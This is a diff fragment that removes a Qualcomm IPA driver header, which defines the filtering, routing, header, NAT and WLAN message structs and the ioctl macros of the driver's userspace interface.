-/*! @brief The maximum number of IHL offset Range Check 16 Eqns */
-#define IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS 2
-
-/*! @brief Offset and 16 bit comparison equation */
-struct ipa_ipfltr_eq_16 {
-        int8_t offset;
-        uint16_t value;
-};
-
-/*! @brief Offset and 32 bit comparison equation */
-struct ipa_ipfltr_eq_32 {
-        int8_t offset;
-        uint32_t value;
-};
-
-/*! @brief Offset and 128 bit masked comparison equation */
-struct ipa_ipfltr_mask_eq_128 {
-        int8_t offset;
-        uint8_t mask[16];
-        uint8_t value[16];
-};
-
-/*! @brief Offset and 32 bit masked comparison equation */
-struct ipa_ipfltr_mask_eq_32 {
-        int8_t offset;
-        uint32_t mask;
-        uint32_t value;
-};
-
-/*! @brief Equation for identifying a range. Ranges are inclusive */
-struct ipa_ipfltr_range_eq_16 {
-        int8_t offset;
-        uint16_t range_low;
-        uint16_t range_high;
-};
-
-/*! @brief Rule equations which are set according to DS filter installation */
-struct ipa_ipfltri_rule_eq {
-        /*! 16-bit Bitmask to indicate how many eqs are valid in this rule  */
-        uint16_t rule_eq_bitmap;
-        /*! Specifies if a type of service check rule is present */
-        uint8_t tos_eq_present;
-        /*! The value to check against the type of service (ipv4) field */
-        uint8_t tos_eq;
-        /*! Specifies if a protocol check rule is present */
-        uint8_t protocol_eq_present;
-        /*! The value to check against the protocol (ipv6) field */
-        uint8_t protocol_eq;
-        /*! The number of ip header length offset 16 bit range check
-         * rules in this rule */
-        uint8_t num_ihl_offset_range_16;
-        /*! An array of the registered ip header length offset 16 bit
-         * range check rules */
-        struct ipa_ipfltr_range_eq_16
-                ihl_offset_range_16[IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS];
-        /*! The number of mask equal 32 rules present in this rule */
-        uint8_t num_offset_meq_32;
-        /*! An array of all the possible mask equal 32 rules in this rule */
-        struct ipa_ipfltr_mask_eq_32
-                offset_meq_32[IPA_IPFLTR_NUM_MEQ_32_EQNS];
-        /*! Specifies if the traffic class rule is present in this rule */
-        uint8_t tc_eq_present;
-        /*! The value to check the traffic class (ipv4) field against */
-        uint8_t tc_eq;
-        /*! Specifies if the flow equals rule is present in this rule */
-        uint8_t fl_eq_present;
-        /*! The value to check the flow (ipv6) field against */
-        uint32_t fl_eq;
-        /*! The number of ip header length offset 16 bit equations in this
-         * rule */
-        uint8_t ihl_offset_eq_16_present;
-        /*! The ip header length offset 16 bit equation */
-        struct ipa_ipfltr_eq_16 ihl_offset_eq_16;
-        /*! The number of ip header length offset 32 bit equations in this
-         * rule */
-        uint8_t ihl_offset_eq_32_present;
-        /*! The ip header length offset 32 bit equation */
-        struct ipa_ipfltr_eq_32 ihl_offset_eq_32;
-        /*! The number of ip header length offset 32 bit mask equations in
-         * this rule */
-        uint8_t num_ihl_offset_meq_32;
-        /*! The ip header length offset 32 bit mask equation */
-        struct ipa_ipfltr_mask_eq_32
-                ihl_offset_meq_32[IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS];
-        /*! The number of ip header length offset 128 bit equations in this
-         * rule */
-        uint8_t num_offset_meq_128;
-        /*! The ip header length offset 128 bit equation */
-        struct ipa_ipfltr_mask_eq_128
-                offset_meq_128[IPA_IPFLTR_NUM_MEQ_128_EQNS];
-        /*! The metadata 32 bit masked comparison equation present or not */
-        /* Metadata based rules are added internally by IPA driver */
-        uint8_t metadata_meq32_present;
-        /*! The metadata 32 bit masked comparison equation */
-        struct ipa_ipfltr_mask_eq_32 metadata_meq32;
-        /*! Specifies if the Fragment equation is present in this rule */
-        uint8_t ipv4_frag_eq_present;
-};
-
-/**
- * struct ipa_flt_rule - attributes of a filtering rule
- * @retain_hdr: bool switch to instruct IPA core to add back to the packet
- *  the header removed as part of header removal
- * @to_uc: bool switch to pass packet to micro-controller
- * @action: action field
- * @rt_tbl_hdl: handle of table from "get"
- * @attrib: attributes of the rule
- * @eq_attrib: attributes of the rule in equation form (valid when
- * eq_attrib_type is true)
- * @rt_tbl_idx: index of RT table referred to by filter rule (valid when
- * eq_attrib_type is true and non-exception action)
- * @eq_attrib_type: true if equation level form used to specify attributes
- * @max_prio: bool switch. is this rule with Max priority? meaning on rule hit,
- *  IPA will use the rule and will not look for other rules that may have
- *  higher priority
- * @hashable: bool switch. is this rule hashable or not?
- *  ipa uses hashable rules to cache their hit results to be used in
- *  consecutive packets
- * @rule_id: rule_id to be assigned to the filter rule. In case client specifies
- *  rule_id as 0 the driver will assign a new rule_id
- */
-struct ipa_flt_rule {
-        uint8_t retain_hdr;
-        uint8_t to_uc;
-        enum ipa_flt_action action;
-        uint32_t rt_tbl_hdl;
-        struct ipa_rule_attrib attrib;
-        struct ipa_ipfltri_rule_eq eq_attrib;
-        uint32_t rt_tbl_idx;
-        uint8_t eq_attrib_type;
-        uint8_t max_prio;
-        uint8_t hashable;
-        uint16_t rule_id;
-};
-
-/**
- * enum ipa_hdr_l2_type - L2 header type
- * IPA_HDR_L2_NONE: L2 header which isn't Ethernet II and isn't 802_3
- * IPA_HDR_L2_ETHERNET_II: L2 header of type Ethernet II
- * IPA_HDR_L2_802_3: L2 header of type 802_3
- */
-enum ipa_hdr_l2_type {
-        IPA_HDR_L2_NONE,
-        IPA_HDR_L2_ETHERNET_II,
-        IPA_HDR_L2_802_3,
-        IPA_HDR_L2_MAX,
-};
-
-/**
- * enum ipa_hdr_l2_type - Processing context type
- * IPA_HDR_PROC_NONE: No processing context
- * IPA_HDR_PROC_ETHII_TO_ETHII: Process Ethernet II to Ethernet II
- * IPA_HDR_PROC_ETHII_TO_802_3: Process Ethernet II to 802_3
- * IPA_HDR_PROC_802_3_TO_ETHII: Process 802_3 to Ethernet II
- * IPA_HDR_PROC_802_3_TO_802_3: Process 802_3 to 802_3
- */
-enum ipa_hdr_proc_type {
-        IPA_HDR_PROC_NONE,
-        IPA_HDR_PROC_ETHII_TO_ETHII,
-        IPA_HDR_PROC_ETHII_TO_802_3,
-        IPA_HDR_PROC_802_3_TO_ETHII,
-        IPA_HDR_PROC_802_3_TO_802_3,
-        IPA_HDR_PROC_MAX,
-};
-
-/**
- * struct ipa_rt_rule - attributes of a routing rule
- * @dst: dst "client"
- * @hdr_hdl: handle to the dynamic header
-        it is not an index or an offset
- * @hdr_proc_ctx_hdl: handle to header processing context. if it is provided
-        hdr_hdl shall be 0
- * @attrib: attributes of the rule
- * @max_prio: bool switch. is this rule with Max priority? meaning on rule hit,
- *  IPA will use the rule and will not look for other rules that may have
- *  higher priority
- * @hashable: bool switch. is this rule hashable or not?
- *  ipa uses hashable rules to cache their hit results to be used in
- *  consecutive packets
- * @retain_hdr: bool switch to instruct IPA core to add back to the packet
- *  the header removed as part of header removal
- */
-struct ipa_rt_rule {
-        enum ipa_client_type dst;
-        uint32_t hdr_hdl;
-        uint32_t hdr_proc_ctx_hdl;
-        struct ipa_rule_attrib attrib;
-        uint8_t max_prio;
-        uint8_t hashable;
-        uint8_t retain_hdr;
-};
-
-/**
- * struct ipa_hdr_add - header descriptor includes in and out
- * parameters
- * @name: name of the header
- * @hdr: actual header to be inserted
- * @hdr_len: size of above header
- * @type: l2 header type
- * @is_partial: header not fully specified
- * @hdr_hdl: out parameter, handle to header, valid when status is 0
- * @status:        out parameter, status of header add operation,
- *                0 for success,
- *                -1 for failure
- * @is_eth2_ofst_valid: is eth2_ofst field valid?
- * @eth2_ofst: offset to start of Ethernet-II/802.3 header
- */
-struct ipa_hdr_add {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint8_t hdr[IPA_HDR_MAX_SIZE];
-        uint8_t hdr_len;
-        enum ipa_hdr_l2_type type;
-        uint8_t is_partial;
-        uint32_t hdr_hdl;
-        int status;
-        uint8_t is_eth2_ofst_valid;
-        uint16_t eth2_ofst;
-};
-
-/**
- * struct ipa_ioc_add_hdr - header addition parameters (support
- * multiple headers and commit)
- * @commit: should headers be written to IPA HW also?
- * @num_hdrs: num of headers that follow
- * @ipa_hdr_add hdr:        all headers need to go here back to
- *                        back, no pointers
- */
-struct ipa_ioc_add_hdr {
-        uint8_t commit;
-        uint8_t num_hdrs;
-        struct ipa_hdr_add hdr[0];
-};
-
-/**
- * struct ipa_hdr_proc_ctx_add - processing context descriptor includes
- * in and out parameters
- * @type: processing context type
- * @hdr_hdl: in parameter, handle to header
- * @proc_ctx_hdl: out parameter, handle to proc_ctx, valid when status is 0
- * @status:        out parameter, status of header add operation,
- *                0 for success,
- *                -1 for failure
- */
-struct ipa_hdr_proc_ctx_add {
-        enum ipa_hdr_proc_type type;
-        uint32_t hdr_hdl;
-        uint32_t proc_ctx_hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_add_hdr - processing context addition parameters (support
- * multiple processing context and commit)
- * @commit: should processing context be written to IPA HW also?
- * @num_proc_ctxs: num of processing context that follow
- * @proc_ctx:        all processing context need to go here back to
- *                        back, no pointers
- */
-struct ipa_ioc_add_hdr_proc_ctx {
-        uint8_t commit;
-        uint8_t num_proc_ctxs;
-        struct ipa_hdr_proc_ctx_add proc_ctx[0];
-};
-
-/**
- * struct ipa_ioc_copy_hdr - retrieve a copy of the specified
- * header - caller can then derive the complete header
- * @name: name of the header resource
- * @hdr:        out parameter, contents of specified header,
- *        valid only when ioctl return val is non-negative
- * @hdr_len: out parameter, size of above header
- *        valid only when ioctl return val is non-negative
- * @type: l2 header type
- *        valid only when ioctl return val is non-negative
- * @is_partial:        out parameter, indicates whether specified header is partial
- *                valid only when ioctl return val is non-negative
- * @is_eth2_ofst_valid: is eth2_ofst field valid?
- * @eth2_ofst: offset to start of Ethernet-II/802.3 header
- */
-struct ipa_ioc_copy_hdr {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint8_t hdr[IPA_HDR_MAX_SIZE];
-        uint8_t hdr_len;
-        enum ipa_hdr_l2_type type;
-        uint8_t is_partial;
-        uint8_t is_eth2_ofst_valid;
-        uint16_t eth2_ofst;
-};
-
-/**
- * struct ipa_ioc_get_hdr - header entry lookup parameters, if lookup was
- * successful caller must call put to release the reference count when done
- * @name: name of the header resource
- * @hdl:        out parameter, handle of header entry
- *                valid only when ioctl return val is non-negative
- */
-struct ipa_ioc_get_hdr {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t hdl;
-};
-
-/**
- * struct ipa_hdr_del - header descriptor includes in and out
- * parameters
- *
- * @hdl: handle returned from header add operation
- * @status:        out parameter, status of header remove operation,
- *                0 for success,
- *                -1 for failure
- */
-struct ipa_hdr_del {
-        uint32_t hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_del_hdr - header deletion parameters (support
- * multiple headers and commit)
- * @commit: should headers be removed from IPA HW also?
- * @num_hdls: num of headers being removed
- * @ipa_hdr_del hdl: all handles need to go here back to back, no pointers
- */
-struct ipa_ioc_del_hdr {
-        uint8_t commit;
-        uint8_t num_hdls;
-        struct ipa_hdr_del hdl[0];
-};
-
-/**
- * struct ipa_hdr_proc_ctx_del - processing context descriptor includes
- * in and out parameters
- * @hdl: handle returned from processing context add operation
- * @status:        out parameter, status of header remove operation,
- *                0 for success,
- *                -1 for failure
- */
-struct ipa_hdr_proc_ctx_del {
-        uint32_t hdl;
-        int status;
-};
-
-/**
- * ipa_ioc_del_hdr_proc_ctx - processing context deletion parameters (support
- * multiple headers and commit)
- * @commit: should processing contexts be removed from IPA HW also?
- * @num_hdls: num of processing contexts being removed
- * @ipa_hdr_proc_ctx_del hdl:        all handles need to go here back to back,
-  *                                no pointers
- */
-struct ipa_ioc_del_hdr_proc_ctx {
-        uint8_t commit;
-        uint8_t num_hdls;
-        struct ipa_hdr_proc_ctx_del hdl[0];
-};
-
-/**
- * struct ipa_rt_rule_add - routing rule descriptor includes in
- * and out parameters
- * @rule: actual rule to be added
- * @at_rear:        add at back of routing table, it is NOT possible to add rules at
- *                the rear of the "default" routing tables
- * @rt_rule_hdl: output parameter, handle to rule, valid when status is 0
- * @status:        output parameter, status of routing rule add operation,
- *                0 for success,
- *                -1 for failure
- */
-struct ipa_rt_rule_add {
-        struct ipa_rt_rule rule;
-        uint8_t at_rear;
-        uint32_t rt_rule_hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_add_rt_rule - routing rule addition parameters (supports
- * multiple rules and commit);
- *
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @rt_tbl_name: name of routing table resource
- * @num_rules: number of routing rules that follow
- * @ipa_rt_rule_add rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_add_rt_rule {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        char rt_tbl_name[IPA_RESOURCE_NAME_MAX];
-        uint8_t num_rules;
-        struct ipa_rt_rule_add rules[0];
-};
-
-/**
- * struct ipa_ioc_add_rt_rule_after - routing rule addition after a specific
- * rule parameters(supports multiple rules and commit);
- *
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @rt_tbl_name: name of routing table resource
- * @num_rules: number of routing rules that follow
- * @add_after_hdl: the rules will be added after this specific rule
- * @ipa_rt_rule_add rules: all rules need to go back to back here, no pointers
- *                           at_rear field will be ignored when using this IOCTL
- */
-struct ipa_ioc_add_rt_rule_after {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        char rt_tbl_name[IPA_RESOURCE_NAME_MAX];
-        uint8_t num_rules;
-        uint32_t add_after_hdl;
-        struct ipa_rt_rule_add rules[0];
-};
-
-/**
- * struct ipa_rt_rule_mdfy - routing rule descriptor includes
- * in and out parameters
- * @rule: actual rule to be added
- * @rt_rule_hdl: handle to rule which supposed to modify
- * @status:        output parameter, status of routing rule modify  operation,
- *                0 for success,
- *                -1 for failure
- *
- */
-struct ipa_rt_rule_mdfy {
-        struct ipa_rt_rule rule;
-        uint32_t rt_rule_hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_mdfy_rt_rule - routing rule modify parameters (supports
- * multiple rules and commit)
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @num_rules: number of routing rules that follow
- * @rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_mdfy_rt_rule {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        uint8_t num_rules;
-        struct ipa_rt_rule_mdfy rules[0];
-};
-
-/**
- * struct ipa_rt_rule_del - routing rule descriptor includes in
- * and out parameters
- * @hdl: handle returned from route rule add operation
- * @status:        output parameter, status of route rule delete operation,
- *                0 for success,
- *                -1 for failure
- */
-struct ipa_rt_rule_del {
-        uint32_t hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_del_rt_rule - routing rule deletion parameters (supports
- * multiple headers and commit)
- * @commit: should rules be removed from IPA HW also?
- * @ip: IP family of rules
- * @num_hdls: num of rules being removed
- * @ipa_rt_rule_del hdl: all handles need to go back to back here, no pointers
- */
-struct ipa_ioc_del_rt_rule {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        uint8_t num_hdls;
-        struct ipa_rt_rule_del hdl[0];
-};
-
-/**
- * struct ipa_ioc_get_rt_tbl_indx - routing table index lookup parameters
- * @ip: IP family of table
- * @name: name of routing table resource
- * @index:        output parameter, routing table index, valid only when ioctl
- *                return val is non-negative
- */
-struct ipa_ioc_get_rt_tbl_indx {
-        enum ipa_ip_type ip;
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t idx;
-};
-
-/**
- * struct ipa_flt_rule_add - filtering rule descriptor includes
- * in and out parameters
- * @rule: actual rule to be added
- * @at_rear: add at back of filtering table?
- * @flt_rule_hdl: out parameter, handle to rule, valid when status is 0
- * @status:        output parameter, status of filtering rule add   operation,
- *                0 for success,
- *                -1 for failure
- *
- */
-struct ipa_flt_rule_add {
-        struct ipa_flt_rule rule;
-        uint8_t at_rear;
-        uint32_t flt_rule_hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_add_flt_rule - filtering rule addition parameters (supports
- * multiple rules and commit)
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @ep:        which "clients" pipe does this rule apply to?
- *        valid only when global is 0
- * @global: does this apply to global filter table of specific IP family
- * @num_rules: number of filtering rules that follow
- * @rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_add_flt_rule {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        enum ipa_client_type ep;
-        uint8_t global;
-        uint8_t num_rules;
-        struct ipa_flt_rule_add rules[0];
-};
-
-/**
- * struct ipa_ioc_add_flt_rule_after - filtering rule addition after specific
- * rule parameters (supports multiple rules and commit)
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @ep:        which "clients" pipe does this rule apply to?
- * @num_rules: number of filtering rules that follow
- * @add_after_hdl: rules will be added after the rule with this handle
- * @rules: all rules need to go back to back here, no pointers. at rear field
- *           is ignored when using this IOCTL
- */
-struct ipa_ioc_add_flt_rule_after {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        enum ipa_client_type ep;
-        uint8_t num_rules;
-        uint32_t add_after_hdl;
-        struct ipa_flt_rule_add rules[0];
-};
-
-/**
- * struct ipa_flt_rule_mdfy - filtering rule descriptor includes
- * in and out parameters
- * @rule: actual rule to be added
- * @flt_rule_hdl: handle to rule
- * @status:        output parameter, status of filtering rule modify  operation,
- *                0 for success,
- *                -1 for failure
- *
- */
-struct ipa_flt_rule_mdfy {
-        struct ipa_flt_rule rule;
-        uint32_t rule_hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_mdfy_flt_rule - filtering rule modify parameters (supports
- * multiple rules and commit)
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @num_rules: number of filtering rules that follow
- * @rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_mdfy_flt_rule {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        uint8_t num_rules;
-        struct ipa_flt_rule_mdfy rules[0];
-};
-
-/**
- * struct ipa_flt_rule_del - filtering rule descriptor includes
- * in and out parameters
- *
- * @hdl: handle returned from filtering rule add operation
- * @status:        output parameter, status of filtering rule delete operation,
- *                0 for success,
- *                -1 for failure
- */
-struct ipa_flt_rule_del {
-        uint32_t hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_del_flt_rule - filtering rule deletion parameters (supports
- * multiple headers and commit)
- * @commit: should rules be removed from IPA HW also?
- * @ip: IP family of rules
- * @num_hdls: num of rules being removed
- * @hdl: all handles need to go back to back here, no pointers
- */
-struct ipa_ioc_del_flt_rule {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        uint8_t num_hdls;
-        struct ipa_flt_rule_del hdl[0];
-};
-
-/**
- * struct ipa_ioc_get_rt_tbl - routing table lookup parameters, if lookup was
- * successful caller must call put to release the reference
- * count when done
- * @ip: IP family of table
- * @name: name of routing table resource
- * @htl:        output parameter, handle of routing table, valid only when ioctl
- *                return val is non-negative
- */
-struct ipa_ioc_get_rt_tbl {
-        enum ipa_ip_type ip;
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t hdl;
-};
-
-/**
- * struct ipa_ioc_query_intf - used to lookup number of tx and
- * rx properties of interface
- * @name: name of interface
- * @num_tx_props:        output parameter, number of tx properties
- *                        valid only when ioctl return val is non-negative
- * @num_rx_props:        output parameter, number of rx properties
- *                        valid only when ioctl return val is non-negative
- * @num_ext_props:        output parameter, number of ext properties
- *                        valid only when ioctl return val is non-negative
- * @excp_pipe:                exception packets of this interface should be
- *                        routed to this pipe
- */
-struct ipa_ioc_query_intf {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t num_tx_props;
-        uint32_t num_rx_props;
-        uint32_t num_ext_props;
-        enum ipa_client_type excp_pipe;
-};
-
-/**
- * struct ipa_ioc_tx_intf_prop - interface tx property
- * @ip: IP family of routing rule
- * @attrib: routing rule
- * @dst_pipe: routing output pipe
- * @alt_dst_pipe: alternate routing output pipe
- * @hdr_name: name of associated header if any, empty string when no header
- * @hdr_l2_type: type of associated header if any, use NONE when no header
- */
-struct ipa_ioc_tx_intf_prop {
-        enum ipa_ip_type ip;
-        struct ipa_rule_attrib attrib;
-        enum ipa_client_type dst_pipe;
-        enum ipa_client_type alt_dst_pipe;
-        char hdr_name[IPA_RESOURCE_NAME_MAX];
-        enum ipa_hdr_l2_type hdr_l2_type;
-};
-
-/**
- * struct ipa_ioc_query_intf_tx_props - interface tx propertie
- * @name: name of interface
- * @num_tx_props: number of TX properties
- * @tx[0]: output parameter, the tx properties go here back to back
- */
-struct ipa_ioc_query_intf_tx_props {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t num_tx_props;
-        struct ipa_ioc_tx_intf_prop tx[0];
-};
-
-/**
- * struct ipa_ioc_ext_intf_prop - interface extended property
- * @ip: IP family of routing rule
- * @eq_attrib: attributes of the rule in equation form
- * @action: action field
- * @rt_tbl_idx: index of RT table referred to by filter rule
- * @mux_id: MUX_ID
- * @filter_hdl: handle of filter (as specified by provider of filter rule)
- * @is_xlat_rule: it is xlat flt rule or not
- */
-struct ipa_ioc_ext_intf_prop {
-        enum ipa_ip_type ip;
-        struct ipa_ipfltri_rule_eq eq_attrib;
-        enum ipa_flt_action action;
-        uint32_t rt_tbl_idx;
-        uint8_t mux_id;
-        uint32_t filter_hdl;
-        uint8_t is_xlat_rule;
-        uint32_t rule_id;
-        uint8_t is_rule_hashable;
-};
-
-/**
- * struct ipa_ioc_query_intf_ext_props - interface ext propertie
- * @name: name of interface
- * @num_ext_props: number of EXT properties
- * @ext[0]: output parameter, the ext properties go here back to back
- */
-struct ipa_ioc_query_intf_ext_props {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t num_ext_props;
-        struct ipa_ioc_ext_intf_prop ext[0];
-};
-
-/**
- * struct ipa_ioc_rx_intf_prop - interface rx property
- * @ip: IP family of filtering rule
- * @attrib: filtering rule
- * @src_pipe: input pipe
- * @hdr_l2_type: type of associated header if any, use NONE when no header
- */
-struct ipa_ioc_rx_intf_prop {
-        enum ipa_ip_type ip;
-        struct ipa_rule_attrib attrib;
-        enum ipa_client_type src_pipe;
-        enum ipa_hdr_l2_type hdr_l2_type;
-};
-
-/**
- * struct ipa_ioc_query_intf_rx_props - interface rx propertie
- * @name: name of interface
- * @num_rx_props: number of RX properties
- * @rx: output parameter, the rx properties go here back to back
- */
-struct ipa_ioc_query_intf_rx_props {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t num_rx_props;
-        struct ipa_ioc_rx_intf_prop rx[0];
-};
-
-/**
- * struct ipa_ioc_nat_alloc_mem - nat table memory allocation
- * properties
- * @dev_name: input parameter, the name of table
- * @size: input parameter, size of table in bytes
- * @offset: output parameter, offset into page in case of system memory
- */
-struct ipa_ioc_nat_alloc_mem {
-        char dev_name[IPA_RESOURCE_NAME_MAX];
-        size_t size;
-        off_t offset;
-};
-
-/**
- * struct ipa_ioc_v4_nat_init - nat table initialization
- * parameters
- * @tbl_index: input parameter, index of the table
- * @ipv4_rules_offset: input parameter, ipv4 rules address offset
- * @expn_rules_offset: input parameter, ipv4 expansion rules address offset
- * @index_offset: input parameter, index rules offset
- * @index_expn_offset: input parameter, index expansion rules offset
- * @table_entries: input parameter, ipv4 rules table size in entries
- * @expn_table_entries: input parameter, ipv4 expansion rules table size
- * @ip_addr: input parameter, public ip address
- */
-struct ipa_ioc_v4_nat_init {
-        uint8_t tbl_index;
-        uint32_t ipv4_rules_offset;
-        uint32_t expn_rules_offset;
-
-        uint32_t index_offset;
-        uint32_t index_expn_offset;
-
-        uint16_t table_entries;
-        uint16_t expn_table_entries;
-        uint32_t ip_addr;
-};
-
-/**
- * struct ipa_ioc_v4_nat_del - nat table delete parameter
- * @table_index: input parameter, index of the table
- * @public_ip_addr: input parameter, public ip address
- */
-struct ipa_ioc_v4_nat_del {
-        uint8_t table_index;
-        uint32_t public_ip_addr;
-};
-
-/**
- * struct ipa_ioc_nat_dma_one - nat dma command parameter
- * @table_index: input parameter, index of the table
- * @base_addr:        type of table, from which the base address of the table
- *                can be inferred
- * @offset: destination offset within the NAT table
- * @data: data to be written.
- */
-struct ipa_ioc_nat_dma_one {
-        uint8_t table_index;
-        uint8_t base_addr;
-
-        uint32_t offset;
-        uint16_t data;
-
-};
-
-/**
- * struct ipa_ioc_nat_dma_cmd - To hold multiple nat dma commands
- * @entries: number of dma commands in use
- * @dma: data pointer to the dma commands
- */
-struct ipa_ioc_nat_dma_cmd {
-        uint8_t entries;
-        struct ipa_ioc_nat_dma_one dma[0];
-
-};
-
-/**
- * struct ipa_msg_meta - Format of the message meta-data.
- * @msg_type: the type of the message
- * @rsvd: reserved bits for future use.
- * @msg_len: the length of the message in bytes
- *
- * For push model:
- * Client in user-space should issue a read on the device (/dev/ipa) with a
- * sufficiently large buffer in a continuous loop, call will block when there is
- * no message to read. Upon return, client can read the ipa_msg_meta from start
- * of buffer to find out type and length of message
- * size of buffer supplied >= (size of largest message + size of metadata)
- *
- * For pull model:
- * Client in user-space can also issue a pull msg IOCTL to device (/dev/ipa)
- * with a payload containing space for the ipa_msg_meta and the message specific
- * payload length.
- * size of buffer supplied == (len of specific message  + size of metadata)
- */
-struct ipa_msg_meta {
-        uint8_t msg_type;
-        uint8_t rsvd;
-        uint16_t msg_len;
-};
-
-/**
- * struct ipa_wlan_msg - To hold information about wlan client
- * @name: name of the wlan interface
- * @mac_addr: mac address of wlan client
- *
- * wlan drivers need to pass name of wlan iface and mac address of
- * wlan client along with ipa_wlan_event, whenever a wlan client is
- * connected/disconnected/moved to power save/come out of power save
- */
-struct ipa_wlan_msg {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint8_t mac_addr[IPA_MAC_ADDR_SIZE];
-};
-
-/**
- * enum ipa_wlan_hdr_attrib_type - attribute type
- * in wlan client header
- *
- * WLAN_HDR_ATTRIB_MAC_ADDR: attrib type mac address
- * WLAN_HDR_ATTRIB_STA_ID: attrib type station id
- */
-enum ipa_wlan_hdr_attrib_type {
-        WLAN_HDR_ATTRIB_MAC_ADDR,
-        WLAN_HDR_ATTRIB_STA_ID
-};
-
-/**
- * struct ipa_wlan_hdr_attrib_val - header attribute value
- * @attrib_type: type of attribute
- * @offset: offset of attribute within header
- * @u.mac_addr: mac address
- * @u.sta_id: station id
- */
-struct ipa_wlan_hdr_attrib_val {
-        enum ipa_wlan_hdr_attrib_type attrib_type;
-        uint8_t offset;
-        union {
-                uint8_t mac_addr[IPA_MAC_ADDR_SIZE];
-                uint8_t sta_id;
-        } u;
-};
-
-/**
- * struct ipa_wlan_msg_ex - To hold information about wlan client
- * @name: name of the wlan interface
- * @num_of_attribs: number of attributes
- * @attrib_val: holds attribute values
- *
- * wlan drivers need to pass name of wlan iface and mac address
- * of wlan client or station id along with ipa_wlan_event,
- * whenever a wlan client is connected/disconnected/moved to
- * power save/come out of power save
- */
-struct ipa_wlan_msg_ex {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint8_t num_of_attribs;
-        struct ipa_wlan_hdr_attrib_val attribs[0];
-};
-
-struct ipa_ecm_msg {
-        char name[IPA_RESOURCE_NAME_MAX];
-        int ifindex;
-};
-
-/**
- * struct ipa_wan_msg - To hold information about wan client
- * @name: name of the wan interface
- *
- * CnE need to pass the name of default wan iface when connected/disconnected.
- * netmgr need to pass the name of wan eMBMS iface when connected.
- */
-struct ipa_wan_msg {
-        char upstream_ifname[IPA_RESOURCE_NAME_MAX];
-        char tethered_ifname[IPA_RESOURCE_NAME_MAX];
-        enum ipa_ip_type ip;
-};
-
-/**
- * struct ipa_ioc_rm_dependency - parameters for add/delete dependency
- * @resource_name: name of dependent resource
- * @depends_on_name: name of its dependency
- */
-struct ipa_ioc_rm_dependency {
-        enum ipa_rm_resource_name resource_name;
-        enum ipa_rm_resource_name depends_on_name;
-};
-
-struct ipa_ioc_generate_flt_eq {
-        enum ipa_ip_type ip;
-        struct ipa_rule_attrib attrib;
-        struct ipa_ipfltri_rule_eq eq_attrib;
-};
-
-/**
- * struct ipa_ioc_write_qmapid - to write mux id to endpoint meta register
- * @mux_id: mux id of wan
- */
-struct ipa_ioc_write_qmapid {
-        enum ipa_client_type client;
-        uint8_t qmap_id;
-};
-
-enum ipacm_client_enum {
-        IPACM_CLIENT_USB = 1,
-        IPACM_CLIENT_WLAN,
-        IPACM_CLIENT_MAX
-};
-/**
- *   actual IOCTLs supported by IPA driver
- */
-#define IPA_IOC_ADD_HDR _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_ADD_HDR, \
-                                        struct ipa_ioc_add_hdr *)
-#define IPA_IOC_DEL_HDR _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_DEL_HDR, \
-                                        struct ipa_ioc_del_hdr *)
-#define IPA_IOC_ADD_RT_RULE _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_ADD_RT_RULE, \
-                                        struct ipa_ioc_add_rt_rule *)
-#define IPA_IOC_ADD_RT_RULE_AFTER _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_ADD_RT_RULE_AFTER, \
-                                        struct ipa_ioc_add_rt_rule_after *)
-#define IPA_IOC_DEL_RT_RULE _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_DEL_RT_RULE, \
-                                        struct ipa_ioc_del_rt_rule *)
-#define IPA_IOC_ADD_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_ADD_FLT_RULE, \
-                                        struct ipa_ioc_add_flt_rule *)
-#define IPA_IOC_ADD_FLT_RULE_AFTER _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_ADD_FLT_RULE_AFTER, \
-                                        struct ipa_ioc_add_flt_rule_after *)
